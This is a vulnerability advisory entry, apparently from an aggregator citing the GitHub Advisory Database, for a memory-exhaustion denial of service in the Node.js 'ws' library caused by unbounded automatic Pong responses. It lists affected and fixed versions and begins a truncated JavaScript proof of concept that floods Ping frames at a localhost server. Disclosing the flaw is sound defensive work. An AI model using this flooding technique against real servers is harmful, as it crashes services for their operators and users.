## ws: Memory exhaustion DoS via unbounded automatic pong responses

- 種別: advisory
- 重大度: high
- 関連技術: nodejs
- CVE: CVE-2026-140009
- 公開日時: 2026-12-01T18:12:48.000Z
- 情報源: GitHub Advisory Database (https://github.com/advisories/GHSA-37g9-w4hg-h9qr)
- パーマリンク: https://vulnpulse.app/items/ghsa-ghsa-37g9-w4hg-h9qr

影響: npm:ws < 5.2.8 → 5.2.8, npm:ws >= 6.0.0, < 6.2.7 → 6.2.7, npm:ws >= 7.0.0, < 7.5.14 → 7.5.14, npm:ws >= 8.0.0, < 8.23.0 → 8.23.0
A malicious peer can flood the other peer with Ping frames while stopping reads, forcing it to buffer Pong frames that are automatically sent in response until memory is exhausted, leading to process termination due to OOM. Proof of concept js import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(125); const { port } = wss.address(); const ws = new WebSocket(ws://localhost:${port}); ws.on('open', function () { ws.pa…